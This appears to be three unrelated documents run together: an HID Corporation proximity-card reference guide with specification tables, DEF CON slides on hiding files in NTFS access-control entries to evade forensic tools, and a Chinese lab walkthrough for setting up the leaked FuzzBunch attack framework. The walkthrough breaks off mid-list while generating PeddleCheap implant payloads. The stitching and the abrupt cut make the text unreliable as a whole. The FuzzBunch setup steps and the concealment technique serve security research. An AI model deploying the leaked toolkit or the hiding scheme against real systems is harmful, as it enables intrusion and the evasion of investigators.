by ISO/IEC 14443, Type A • Fixed Serial Number: Unique 32 bit Proximity Contactless Chip and Coil Specifications Operating Frequency: 125 kHz • Format Size: Up to 84 bits Read Range: Up to 24” (60cm) depending on local installation conditions and card reader selection. (See next page for Contactless Technologies Read Range Chart.) Contact Smart Chip Module Guidelines For customers who require a contact smart chip module, HID has developed partnerships with the leading providers of application software and contact smart chip modules. Depending on your specifications, HID can embed contact smart chip modules from a number of industry leaders. When application software is needed, turn to HID’s partners. To learn more about HID’s smart card offerings and partners, visit our website at http://www.HIDCorp.com/smart. Credential Feature Comparison Notes Base Part Number Consult "How To Order Guide" for more detailed part numbers. Smart Chip Embeddable These cards are ISO 7816 compliant and held to 0.030” to 0.033” (0.0762 to 0.0838 cm) thickness. †††Available. Consult factory for correct base part number. Magnetic Stripe ABA standard, 3 track, high coercivity (4000 Oersted). Custom magnetic stripes available upon request. Slot Punch V=Vertical Slot punch option H/V=Horizontal or Vertical slot punch option Keyring=Standard Hole **Vertical slot punch is standard on the ProxCard II. ††These Wiegand credentials can be slot punched in many different locations. Consult factory for more information.. Direct Image Print †Direct image printing (using a dye sublimation or direct image transfer printer) can be done at the factory, by the customer or by third parties. Some printing methods can affect the thickness of the credentials, taking them out of ISO 7816 compliance. Warranty HID credentials feature a Lifetime Warranty. See HID’s Sales Policy for complete warranty details. Contactless Technologies Read Range Chart (Read range is dependant on local installation conditions.) Need tools to help choose the right credential for your application? Smart ISOProx ® II ProxPoint ® Plus Card Reader EntryProx ® Card Reader ProxPass ® Active Vehicle Tag N/A N/A N/A N/A N/A N/A 4' - 8' 1.2 - 2.5 m HID Proximity & MIFARE ® Card pcProx™ Desktop Card Reader N/A ProxPro ® II Card Reader 6" - 9" 15.2 - 22.9 cm 5" - 8" 12.5 - 20 cm 5" - 8" 12.5 - 20 cm 5" - 8" 12.5 - 20 cm 5" - 8" 12.5 - 20 cm N/A Credential Reader 1.0" - 2.5" 2.5 - 6.35 cm 1.0" - 2.5" 2.5 - 6.35 cm 1.0" - 2.5" 2.5 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 0.5" - 1.0" 1.2 - 2.5 cm 1.0" - 2.5" 2.5 - 6.35 cm 0.5" - 1.0" 1.2 - 2.5 cm 1.0" - 3.0" 2.5 - 7.6 cm 2.0" - 3.0" 5.1 - 7.6 cm 2.0" - 3.0" 5.1 - 7.6 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 0.5" - 1.0" 1.2 - 2.5 cm 1.0" - 2.0" 2.5 - 5.1 cm 1.0" - 1.5" 2.5 - 3.8 cm 2.0" - 3.0" 5.1 - 7.6 cm 4.0" - 5.5" 10.2 - 14.0 cm 2.0" - 4.0" 5.1 - 10.2 cm 4.0" - 5.5" 10.2 - 14.0 cm 5.5" - 8.0" 14.0 - 20.3 cm 4.0" - 7.0" 10.2 - 17.8 cm 4.0" - 7.0" 10.2 - 17.8 cm 4.0" - 7.0" 10.2 - 17.8 cm 4.0" - 7.0" 10.2 - 17.8 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 8.0" - 11.0" 20.3 - 27.9 cm 6" - 9" 15.2 - 22.9 cm 6" - 9" 15.2 - 22.9 cm 6" - 9" 15.2 - 22.9 cm 6" - 9" 15.2 - 22.9 cm 8.0" - 13.0" 20.3 - 33 cm 15" - 20" 38.1 - 50.8 cm 15" - 20" 38.1 - 50.8 cm 15" - 20" 38.1 - 50.8 cm 15" - 20" 38.1 - 50.8 cm 16" - 29" 40.6 - 73.7 cm 3.0" - 4.0" 7.6 - 10.2 cm ProxCard ® II Card ISOProx ® II Card DuoProx ® II Card ProxCard ® Plus Card MaxiProx ® Card Reader ThinLine ® II Card Reader ProxPro ® Card Reader MiniProx ® Card Reader ProxPro ® Plus Card Reader Prox80™ Card Reader N/A 1.0" - 1.5" 2.5 - 3.8 cm 4.0" - 5.5" 10.2 - 14.0 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 0.5" - 2.0" 1.2 - 5.1 cm 0.5" - 2.0" 1.2 - 5.1 cm 0.5" - 2.0" 1.2 - 5.1 cm 0.5" - 2.5" 1.2 - 6.4 cm 1.0" - 3.0" 2.5 - 7.6 cm 1.0" - 4.0" 2.5 - 10.2 cm 1.0" - 4.5" 2.5 - 11.4 cm 4.0" - 15.0" 10.2 - 38 cm 2.0" - 6.0" 5.1 - 15.2 cm MicroProx ® Tag 0.5" - 2.5" 1.2 - 6.4 cm 1.0" - 1.5" 2.5 - 3.8 cm 1.0" - 1.5" 2.5 - 3.8 cm 1.0" - 3.0" 2.5 - 7.6 cm 1.0" - 1.5" 2.5 - 3.8 cm 1.0" - 2.0" 2.5 - 5.1 cm 1.0" - 2.0" 2.5 - 5.1 cm 2.0" - 4.0" 5.1 - 10.2 cm 6.0" - 17.0" 15.2 - 43.2 cm 4.0" - 6.0" 10.2 - 15.2 cm ProxKey ® II Keyfob 1.0" - 2.0" 2.5 - 5.1 cm Smart DuoProx ® II Card 5" - 8" 12.5 - 20 cm 1.0" - 2.5" 2.5 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 4.0" - 7.0" 10.2 - 17.8 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 6" - 9" 15.2 - 22.9 cm 15" - 20" 38.1 - 50.8 cm 3.0" - 5.0" 7.6 - 12.7 cm 5" - 8" 12.5 - 20 cm 1.5" - 2.5" 3.8 - 6.35 cm 1.0" - 2.5" 2.5 - 6.35 cm 1.5" - 2.5" 3.8 - 6.35 cm 4.0" - 7.0" 10.2 - 17.8 cm 3.0" - 5.0" 7.6 - 12.7 cm 3.0" - 5.0" 7.6 - 12.7 cm 6" - 9" 15.2 - 22.9 cm 15" - 20" 38.1 - 50.8 cm 3.0" - 5.0" 7.6 - 12.7 cm Prox Card ProxCard ® II Card ISOProx ® II Card DuoProx ® II Card Smart ISOProx ® II Card ProxCard ® Plus Card ProxKey ® II Keyfob HID Proximity & MIFARE® Card Smart DuoProx ® II Card eProx™ Tag ProxPass ® Active Vehicle Tag SensorCard™ SensorCard™ II SensorKey™ Pocket Tag Base Part Number(s) Proximity (125 kHz) 13.56 MHz Read/Write Wiegand Strip Magnetic Stripe Contact Smart Chip Embeddable Direct Image Print† Slot Punch Warranty YES YES YES YES YES YES YES YES YES YES YES MIFARE YES††† YES††† YES YES YES YES YES YES YES YES YES OPTIONAL YES OPTIONAL YES YES YES YES YES YES YES YES YES V** V V V V H/V H/V H/V H/V†† H/V†† Keyring Keyring Keyring Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime Lifetime NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO YES NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO NO 1326 1386 1336 1397 1398 202X 203X 1431 16-9 1346 1351 Lifetime 1390 With PVC overlay Photo ID YES Lifetime NO NO NO NO NO 10, 11, 14 10, 11 25 145 17 H/V†† MicroProx ® Tag YES NO NO NO NO NO NO Lifetime 1391 OPTIONAL Prox Card YES For information on iCLASS, please visit HID’s website at www.HIDCorp.com/iclass, or request the HID iCLASS Reference Guide. Have Too Many Cards? Card Personalization 1 Start with raw materials, 2 add the technologies you need on the inside, 3 complete with personalization on the outside... 4 Your finished credential! Personalize and Secure Your Credential - Inside and Out Need card personalization services to turn your card into a credential? Using Multiple Technologies? Have Multiple Facilities? Located in Multiple Countries? Use the HID Corporate 1000 Format. Need a Secure Format? • The Corporate 1000 Format is a 35-bit card format that is owned and controlled by the end-user. • To enhance facility security, HID provides end-users with their own proprietary protocol. • Once the Corporate 1000 Format is established, end-users have the flexibility to choose almost any access control hardware/software platform or system integrator. • Whatever system or vendor is chosen, end-users maintain the ability to use a single access card at any site across the nation or around the world. • Cards can be customized with a photo ID, custom artwork, magnetic stripe, bar code, or contact smart chip module. • HID tracks the card numbers to ensure that no duplication occurs. • Any HID access control card can be programmed with the assigned format. HID can meet every customer’s goal of handling multiple applications with just one card! HID’s Standard Anti-Counterfeiting Offering Includes: • Ultra-violet (UV) Fluorescent Inks: Invisible to the naked eye, these inks can verify the authenticity of a card when placed under a black ultra-violet light. • Holograms: The accepted security measure in the financial and banking world, holograms are easily recognizable by security personnel, allowing for quick identification of counterfeit cards. • Corporate Logo: Enhance corporate identity and brand recognition by creating a unique hologram or UV fluorescent ink design using your company’s logo. Easily identified by security personnel, the exclusive logo will visibly demonstrate your company’s commitment to security. To learn more about HID’s Card Personalization Service, call your local systems’ integrator or visit HID’s website at www.HIDCorp.com/cps. Use HID’s Card Personalization Service to create custom credentials. Turn your HID card into a credential by having HID personalize each card with the required ID badge information. For greater security, economically add a custom anti- counterfeiting feature. Only HID can provide one-stop shopping for your complete credential needs! 1 For cost comparison data, visit our website at www.HIDCorp.com/cps. hid corporate 1000 program ® HID’s ID Badge Services: • Enables the security department to manage security, not ID badge production. • Use an existing photo ID database for the creation of new, personalized ID badges. • Create your ID badge layout to meet all your requirements. No in-house graphics capabilities required! • Use HID Connect, a web-based service usable by any size company. Take advantage of technological advances with little or no capital investment! • Eliminates costs associated with cards destroyed or disfigured during the badging process. • Reduces overall costs associated with ID badge production.1 Wear and tear on in-house badge production equipment is minimized. Have a special or unique application? HID can help! HID credentials feature a Lifetime Warranty. See HID’s Sales Policy for complete warranty details. Specifications subject to change without notice. Please consult our website, www.HIDCorp.com, for up-to-date specifications. See our “How To Order Guide” for details regarding options and part numbers. †† ProxProgrammer hardware has a lifetime warranty; software has a 90-day warranty. See Sales Policy for complete warranty details. HID’s easy-to-use ProxProgrammer allows for custom programmed proximity cards and tags on demand. By using the ProxProgrammer and stocking non-programmed cards and tags, you can eliminate lead times and minimum order quantities. PROXPROGRAMMER® Software requires minimum 80486 processor, 32MB RAM, 4MB HD space available, Windows ® 95, 98, NT, or 2000. Base part number: 1050†† Program proximity cards and tags ON DEMAND! Dimensions: 5” x 5” x 4.3” (12.7 x 12.7 x 10.9 cm) • Weight: 28 oz (789 g) Construction: Polycarbonate UL 94 & Delrin Operating Temperature: -22° to 150° F (-30° to 65° C) Operating Humidity: 5% to 95% relative humidity Power Requirements: 12 VDC plug-in type supply provided (input: 100-240 VAC, 47-63 Hz). Unit requires 10-28.5 VDC reverse voltage protected. Linear supply recommended. Current requirements: average at 12/24 VDC is 100/120 mA and peak at 12/24 VDC is 124/280 mA. Certifications: Canada/UL 294 Listed, FCC Certification (US), Canada Certification, CE Mark (Fifteen EU Countries under the R&TTE Directive), Australia C-Tick Mark, New Zealand EMC ProxProgrammer works with all HID proximity credentials, except ProxPass. Proximity Technology 1.285" (32.639mm) 0.070" (1.78 mm) Sample placement shown; actual placement will depend on application. Consult HID for specific guidelines. Not for use with cards used with tractor feed (full insertion) readers. MICROPROX® TAG 125 kHz proximity adhesive tag Base part number: 1391 Seamlessly upgrade from other technologies such as magstripe, Wiegand or barium ferrite by simply adding a MicroProx Tag to the card. Add a MicroProx Tag to a cellphone or PDA to create a secondary credential. You can easily transition from Wiegand to proximity with ProxCard Plus or MicroProx Tag. 2.125" (5.4cm) 3.375" (8.6cm) 0.037" (0.095cm) 0.047" (0.119cm) ePROX™ TAG 125 kHz proximity embeddable transponder Base part number: 1390 Add value to specialized third-party products by embedding Prox by HID. Consult factory for product specifications. Your best choice for convenient and economical hands-free parking control. PROXPASS® 0.30" (0.76cm) 3.625" (9.25cm) 2.625" (6.75cm) Long range 125 kHz proximity active vehicle tag Base part number: 1351 A great choice for maintenance personnel or where photo ID’s are not needed. 1.90" (4.3 cm) 0.160" (0.41 cm) .550" (1.4 cm) .900" (2.29 cm) PROXKEY® II Convenient 125 kHz proximity key fob Base part number: 1346 PROXCARD® II 2.135" (5.4 cm) MAX. 3.385" (8.6 cm) 0.075" MAX. (0.19 cm) A PVC overlay is available for ProxCard II and allows for on-site photo ID using most direct image printers. Value priced 125 kHz proximity card Base part number: 1326 PROXCARD® PLUS Wiegand and 125 kHz proximity card Base part number: 16X Wiegand Technology Used in applications throughout the world, Wiegand swipe technology provides dependable and reliable access control. Using embedded wires with unique magnetic properties, Wiegand credentials are manufactured with a proprietary process that makes them very difficult to duplicate. All Wiegand credentials have a lifetime warranty; see HID’s Sales Policy for details. SENSORCARD™ Wiegand swipe card for access control Base part number: 10X/11X/14X Combines Wiegand technology and photo identification capability on a single card. Graphics-quality surface for use with direct image printers. SENSORCARD™ II Wiegand card with magnetic stripe Base part number: 10X/11X Provides the same features as the SensorCard, plus magnetic stripe technology. PHOTO ID Wiegand photo ID badge Base part number: 17X Combines Wiegand technology and photo identification capability on a single card. Accepts either Polaroid film prints or video image prints. POCKET TAG Wiegand access control tag Base part number: 145 Small enough to carry in a pocket or on a key ring. For use with the Classic, Epic, Turnstile and PINPad readers. SENSORKEY™ Wiegand access control key Base part number: 25 Convenient key-style Wiegand tag for use with low profile, in-the-wall SensorKey reader. 2.125" (5.4cm) 3.375" (8.6cm) 0.054" (0.14 cm) 3.29" (8.36 cm) 1.0" (2.54 cm) 0.669" (1.7 cm) 2.375" (6.03 cm) 0.093" (0.236 cm) 2.125" (5.4cm) 3.375" (8.6cm) 0.030" nom. (0.075cm) ISO Standard 0.037" (0.094cm) (check magstripe reader for compatibility) 2.125" (5.4cm) 3.375" (8.6cm) 0.030" nom. (0.076cm) ISO 0.047" (0.119cm) Tuff Standard 0.037" (0.094cm) 2.09" (5.31 cm) 2.125" (5.40 cm) 0.047" (0.119 cm) Interested in biometrics? Adhere an iCLASS Tag to your existing Wiegand or proximity card. Conveniently store the biometric template on the tag with no need to re-badge! Learn more about iCLASS at www.HIDCorp.com/iclass, or request HID’s iCLASS Reference Guide. CRG-EN-US-2-2003 ©2003 HID Corporation. All trademarks and registered trademarks are the properties of their respective companies. Printed in the USA. Need Product Specifications? For additional submittal/specification information, please visit the HID website at www.HIDCorp.com. You will find application notes, bid specifications, and individual data sheets for each product. Download and print the documents needed for bid packages. Notes *Some types of printing processes can take these credentials out of ISO compliance for thickness. Consult factory for more information. **Consult factory for more details about the hotstamp process. Specification Compliance Proximity Format Range Credential Construction Inkjet Numbering Laser Engraving Finishes Operating Temperature Operating Humidity Weight ProxCard ® II Card ISOProx ® II Card DuoProx ® II Card Smart ISOProx ® II Card ProxCard ® Plus Card ProxKey ® II Keyfob HID Proximity & MIFARE ® Card Smart DuoProx ® II Card eProx™ Tag ProxPass ® Active Vehicle Tag SensorCard™ SensorCard™ II SensorKey™ Pocket Tag ISO 7810 ISO 7810 ISO 7810 ISO 7816* ISO 7810 ISO 7816* ISO 7810 ISO 7816* ISO 14443A up to 84 bits up to 84 bits up to 84 bits up to 84 bits up to 84 bits up to 84 bits up to 84 bits up to 40 bits up to 84 bits up to 84 bits N/A N/A N/A N/A Optional YES YES Optional Optional YES YES Optional Optional YES YES Optional YES & hotstamp** YES YES Gloss Gloss Gloss Gloss Gloss Gloss N/A N/A N/A PVC laminate Gloss Matte PVC laminate PVC laminate PVC laminate PVC laminate PVC laminate ISO 7810 (in some configurations) ISO 7810 (in some configurations) 0.24 oz. 6.8 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C 0.24 oz. 6.8 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C 0.24 oz. 6.8 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C 0.26 oz. 7.4 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C 0.24 oz. 6.8 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C 0.24 oz. 6.8 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C 0.24 oz. 6.8 g 5-95% non condensing -13˚ - 158˚ F -25˚ - 70˚ C 0.24 oz. 6.8 g 5-95% non condensing -13˚ - 158˚ F -25˚ - 70˚ C 0.24 oz. 4.8 g 10-95% non condensing -50˚ - 158˚ F -45˚ - 70˚ C 0.019 oz. 0.54 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C 1.72 oz. 48.7 g 5-95% non condensing not for marine use -22˚ - 185˚ F -30˚ - 85˚ C ISO: .17 oz/4.9 g Stnd: .20 oz/5.7 g Tuff: .27 oz/7.6 g 10-95% non condensing -40˚ - 158˚ F -40˚ - 70˚ C 10-95% non condensing -40˚ - 158˚ F -40˚ - 70˚ C 0.17 oz. 4.9 g 10-95% non condensing -40˚ - 158˚ F -40˚ - 70˚ C 0.09 oz. 2.6 g 10-95% non condensing -40˚ - 158˚ F -40˚ - 70˚ C 0.20 oz. 5.7 g PVC laminate PVC laminate PVC laminate PVC laminate N/A molded plastic molded plastic molded plastic molded plastic N/A YES NO NO NO NO NO NO NO N/A Optional YES hotstamp** YES N/A Gloss Matte Gloss Matte Matte N/A N/A N/A N/A N/A N/A N/A N/A up to 37 bits ISO 7810 ISO 7816* ISO 15693 Photo ID N/A N/A PVC laminate, vinyl photo flap N/A hotstamp** NO -40˚ - 158˚ F -40˚ - 70˚ C 10-95% non condensing 0.17 oz. 4.9 g YES & hotstamp** MicroProx ® Tag up to 84 bits N/A 0.04 oz. 1.18 g 5-95% non condensing -50˚ - 160˚ F -45˚ - 70˚ C Lexan NO YES N/A Prox Card ® HID CORPORATION, LTD. EUROPEAN HEADQUARTERS Homefield Road Haverhill, Suffolk CB9 8QP England Tel: +44 (0) 1440 714 850 Fax: +44 (0) 1440 714 840 HID CORPORATION ASIA PACIFIC HEADQUARTERS 19/F 625 King’s Road North Point, Island East Hong Kong Tel: (852) 2530-9907 Fax: (852) 2530-9975 HID CORPORATION CORPORATE HEADQUARTERS 9292 Jeronimo Road Irvine, CA 92618-1905 Tel: (800) 237-7769 Tel: +1 (949) 598-1600 Fax: +1 (949) 598-1690 www.HIDCorp.com MEXICO Circunvalacion Ote. # 201 B Despacho 3 Col. Jardines del Moral Leon 37160, Gto. Mexico Tel: +52 477 779 1492 Fax: +52 477 779 1493 FRANCE 35 Bd de la Victoire F 67000 Strasbourg France Tel: +33 (0) 3 90 22 10 66 Fax: +33 (0) 3 88 36 64 45 JAPAN Cerulean Tower Level 15 26-1 Sakuragaoka-Cho Shibuya-Ku, Tokyo 150-0031 Tel: 81-3-3216-7219 Fax: 81-3-3216-7210 the NETHERLANDS Prins Bernardlaan 16A 2405 VT Alphen a/d Rijn Netherlands Tel: +31 (0)172 234797 Fax: +31 (0)172 234877 SINGAPORE #16-01/17-01 Forum 583 Orchard Road Singapore 238884 Tel: (65) 6832-5936 Fax: (65) 6735-1262 CHINA Suite 3515, 35/F., CITIC Square 1168 Nanjing Xi Lu Puxi Shanghai, 200041 China Tel: (86-21) 5292-5087 Tel: (86-21) 5292-5089 Fax: (86-21) 5252-4616 CANADA 268 Lakeshore Road East Suite 620 Oakville, Ontario Canada L6J 7S4 Tel: (905) 842-4860 Fax: (905) 842-4846 GERMANY Tel: +49 30 946 33 896 Fax: +49 30 946 33 897 AUSTRALIA Level 31, ABN AMRO Tower 88 Phillip Street SYDNEY NSW 2000 Tel:+61 2 9418 3489 Fax:+61 2 9420 0252 HID CORPORATION LATIN AMERICAN HEADQUARTERS Ferrari 372 (C1414EGD) Buenos Aires Argentina Tel: + (54 11) 4855-5984 Fax: + (54 11) 4855-5984
pdf
ACL Steganography: Permissions to Hide Your Porn by Michael Perklin Michael Perklin Corporate Investigator Digital Forensic Examiner Security Professional eDiscovery Administrator Computer Geek + Legal Support hybrid Michael Perklin Diploma in Computer Science Technology Bachelor’s Degree in Information Systems Security Master’s Degree in Information Assurance EnCase Certified Examiner (EnCE) AccessData Certified Examiner (ACE) Certified Information Systems Security Professional (CISSP) In This Talk... What is Steganography? Historical examples of physical and digital forms How do they work? Identifying a “Lowest Common Denominator” ACL Steganography - a new scheme What Is Steganography? Greek origin and means "concealed writing" steganos (στεγανός) meaning "covered or protected" graphei (γραφή) meaning "writing" The term was first coined in 1499, but there are many earlier examples Basically, hiding something in plain sight Classical Example: Tattoo Tattoo under hair Encoder tattoos a slave’s scalp Decoder shaves the messenger’s hair The message must be delayed to allow time for hair regrowth Tattoos Are Permanent Oops Classical Example: Morse Stitch morse code into a sweater/jacket worn by a messenger Messenger hand-delivers one message while actually delivering two Classical Example: Invisible Ink Write secrets with lemon juice Allow to dry Decode with heat (candle, match, hair dryer, iron) Decode With Heat Digital Example: Photos Files can be encoded as colour information embedded in a photo Most common type of digital steganography Based on the fact that only super-humans can tell the difference between Chartreuse and Lemon Photo Steganography Each pixel is assigned a colour with an RGB colour code The last bit of this 8-bit code is overwritten with encoded data #DFFF00 is chartreuse #DFFF01 is.... one of the yellows 8 adjacent pixels with 8 slightly-adjusted colours allows 1 byte of encoded information Audio Steganography Same principle as photographic steganography, but with audio Humans can’t easily tell the difference between 400hz and 401hz, especially if the note isn’t sustained Alter each frame of audio with 1 bit of encoded information Digital Example: x86 Ops Information can be encoded in x86 op codes NOP - No Operation ADD / SUB - Addition and Subtraction PE files (standard .exe programs) have many other areas that can hold arbitrary data Digital Example: Chaffing and Winnowing Conceived by Ron Rivest in 1998 (the R in RSA, as well as RC4 and others) Not quite steganography Not quite encryption Has properties of both stego and encryption Chaffing and Winnowing Sender issues ‘real’ messages and ‘chaff’ messages Listeners don’t know which messages are real Real chunks of the message include a parity value Message Authentication Code (MAC) Receiver calculates MACs on every packet Discards packets whose MACs aren’t valid Reassembles all packets with valid MACs Chaffing and Winnowing Courtesy: Wikimedia Commons Steganography Breakdown All types of steganography require three things: A medium of arbitrary information A key or legend for encoding information A way to differentiate ‘encoded’ and ‘medium’ info ACL Steganography A way to encode files as Access Control Entries within Access Control Lists of files stored on an NTFS volume Medium: All files on an NTFS volume Key: Security Identifiers in ACEs Differentiator: ACEs with an unlikely combination of permissions Background: NTFS Security NTFS Permissions Entries correspond to system users There are 22 unique permissions available, stored in a 32-bit field Many more granular permissions exist than “Read, Write, Execute” NTFS Permissions Permission entries are stored using Security Identifier (S-ID) If the user is removed, the OS can’t look up the friendly name Photo shows same file after “Michael” is removed from OS NTFS Security Identifiers Maximum Size: 68-bytes 1st byte is the revision (Always 1) 2nd byte is the count of SubAuthorities in this SID (Maximum 15 SubAuthorities per SID) 6 bytes used for the Identifier Authority (Always 000004) 60 bytes store the content of the SubAuthorities and the Relative ID Acronym Review (AR) Access Control List (ACL) A list of Access Control Entries Access Control Entry (ACE) A permission rule (allow or deny) pertaining to a SID Security Identifier (SID) A unique identifier for a user or group of a Windows system ACL Steganography (photo of file with 60byte chunks) A file is split up into 60-byte chunks Each chunk becomes a SID ACEs are created with “Allow” permissions for each of these SIDs ACEs are added to the ACLs of multiple files Demonstration A folder full of files A filelist.txt with these files A .tc volume with cool stuff in it Encoding the volume Showing the ACEs on the files Decoding the volume ACLEncoding Details Two bits are set for all ACLEncoded entries: Synchronize + ReadPermissions Synchronize cannot be set within the Windows UI The 9 least significant bits are used as a counter from 0-512 These bits correspond to the permissions: ReadData, CreateFile, AppendData, ReadExtendedAttribute, WriteExtendedAttribute, ExecuteFile, Traverse, DeleteSubdirectoriesAndFiles, ReadAttributes ACLEncode Details The FileList becomes a kind of symmetric key between the encoder and decoder The list identifies: Which files have ACLEncoded entries The order in which those entries are encoded Limitations An ACL can be no bigger than 64kB per file Maximum ACE size is 76 bytes (68 for SID + 8 byte header) This produces a theoretical maximum of 862 ACEs per file I’ve imposed a limit of 512 entries per file This leaves room for legitimate permissions Limitations The largest possible file to be encoded: NumFilesInList * 512 * 60bytes or about 30kB per file Need to store a larger file? Use a longer file list. $SECURE File Limitation The $SECURE file is a hidden file on every NTFS volume All ACLs for all files are stored in this one file Each time a new SID is encountered, it’s added to this file This way, future permission operations for that user can use the existing reference without duplicating it $SECURE File Limitation NTFS does *NOT* remove old/unused SIDs from the $SECURE file The $SECURE file is designed only to grow in size and never shrink This means, every ACLEncoded chunk from every run of ACLEncode will persist here forever A Forensic Review I conducted a test: 2GB USB Key, formatted as NTFS AccessData FTK 4.0.2.33 Guidance EnCase Forensic 6.19.6 Forensic Test - File List I created these files for the test I could have used any file already on the system Forensic Test - Input File DEFCONXXI repeated Forensic Test - FTK4 Forensic Test - FTK4 Forensic Test - EnCase 6 Forensic Test - EnCase 6 Forensic Test - EnCase 6 Forensic Detection of ACLEncoding Detection of ACLEncoded entries is a manual process (using the most popular forensic tools) Detection can be automated with the creation of EnScripts (EnCase’s scripting language) and other purpose-built tools Unfortunately not enough time to go over these today Questions and Answers If you have questions, see me in the Q&A room for Track 1 Thanks to Josh, Nick, Joel, Reesh, my family, my friends, my colleagues, and my employer for providing me the time for this research Thanks Eugene for seeding the thought in my mind of “How can you hide data on a drive without detection?” ACLEncode Source code Available for download: http://www.perklin.ca/~defcon21/ACLEncode.zip Latest version of Slides The latest version of these slides are available online: http://www.perklin.ca/~defcon21/aclsteganography.pdf This latest version will be available on the DEFCON site soon References http://msdn.microsoft.com/en-us/library/gg465313.aspx http://stackoverflow.com/questions/1140528/what-is-the-maximum-length-of-a-sid-in-sddl- format http://technet.microsoft.com/en-us/library/cc962011.aspx http://msdn.microsoft.com/en-CA/library/ms229078(v=vs.85).aspx https://github.com/mosa/Mono-Class-Libraries/blob/master/mcs/class/corlib/ System.Security.AccessControl/FileSystemRights.cs http://msdn.microsoft.com/en-us/library/system.security.accesscontrol.filesystemrights.aspx http://www.ntfs.com/ntfs-permissions-access-entries.htm http://www.ntfs.com/ntfs-permissions-security-descriptor.htm http://support.microsoft.com/kb/279682
pdf
Equation FuzzBunch TOC 概述 作者根据EQGRP公开资料进行研究分析,研究相关工具的开发实现和攻击防御思路。 因为木有找到NOPEN这个C2的Windows下的Beacon程序,所以找了一些资料,发现就是FB可 以进行Windows下的C2操作,虽然是个python程序,但是也好过于无。 所以决定查看当前的研究成果,整理一个环境,看看能不能与NOPEN进行联动? FuzzBunch的中文翻译就是模糊测试工具集,用来对目标系统进行渗透。 基本信息 本次分析的代码,来自shadowbroker的爆料,经过网络接力,我们这里使用三好学生修改 Francisco Donoso的的代码。 当然也可以直接从泄露代码构造777388/EQGRP_Lost_in_Translation: Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg (github.com),多花一点时间而已。 git clone https://github.com/3gstudent/fuzzbunch.git Cloning into 'fuzzbunch'... remote: Enumerating objects: 7169, done. remote: Total 7169 (delta 0), reused 0 (delta 0), pack-reused 7169 Receiving objects: 100% (7169/7169), 129.91 MiB | 10.26 MiB/s, done. Resolving deltas: 100% (2454/2454), done. Updating files: 100% (6452/6452), done. python.exe -V Python 2.7.18 pip install pywin32 java -version openjdk version "1.8.0_41" OpenJDK Runtime Environment (build 1.8.0_41-b04) OpenJDK Client VM (build 25.40-b25, mixed mode) 注意版本信息 执行后,就会出现一个Java swing编制的GUI客户端。 这里的测试环境是两台设备。一台是fb控制机,一台是目标机。 具体的配置情况如下。 后续可能会使用一台win 2003作为测试机。 java -jar Start.jar OS 名称: Microsoft Windows 10 Pro OS 版本: 10.0.19043 暂缺 Build 19043 系统类型: x64-based PC IP 地址 [01]: 172.19.2.1 Windows xp sp3 中文版 IP 地址 [01]: 172.19.2.16 操作流程 Beacon生成 我这里的操作是pc_prep可以生成PeddleCheap。 这个Terminals下的命令行,支持TAB补全。 pc_prep [01:23:23] ID: 134 'python' started [target: z0.0.0.1] - Possible payloads: - 0) - Quit - 1) - Standard TCP (i386-winnt Level3 sharedlib) - 2) - HTTP Proxy (i386-winnt Level3 sharedlib) - 3) - Standard TCP (i386-winnt Level3 exe) - 4) - HTTP Proxy (i386-winnt Level3 exe) - 5) - Standard TCP (x64-winnt Level3 sharedlib) - 6) - HTTP Proxy (x64-winnt Level3 sharedlib) - 7) - Standard TCP (x64-winnt Level3 exe) - 8) - HTTP Proxy (x64-winnt Level3 exe) - 9) - Standard TCP Generic (i386-winnt Level4 sharedlib) - 10) - HTTP Proxy Generic (i386-winnt Level4 sharedlib) - 11) - Standard TCP AppCompat-enabled (i386-winnt Level4 sharedlib) - 12) - HTTP Proxy AppCompat-enabled (i386-winnt Level4 sharedlib) - 13) - Standard TCP UtilityBurst-enabled (i386-winnt Level4 sharedlib) - 14) - HTTP Proxy UtilityBurst-enabled (i386-winnt Level4 sharedlib) - 15) - Standard TCP WinsockHelperApi-enabled (i386-winnt Level4 sharedlib) - 16) - HTTP Proxy WinsockHelperApi-enabled (i386-winnt Level4 sharedlib) - 17) - Standard TCP (i386-winnt Level4 exe) - 18) - HTTP Proxy (i386-winnt Level4 exe) - 19) - Standard TCP (x64-winnt Level4 sharedlib) - 20) - HTTP Proxy (x64-winnt Level4 sharedlib) - 21) - Standard TCP AppCompat-enabled (x64-winnt Level4 sharedlib) - 22) - HTTP Proxy AppCompat-enabled (x64-winnt Level4 sharedlib) - 23) - Standard TCP WinsockHelperApi-enabled (x64-winnt Level4 sharedlib) - 24) - HTTP Proxy WinsockHelperApi-enabled (x64-winnt Level4 sharedlib) - 25) - Standard TCP 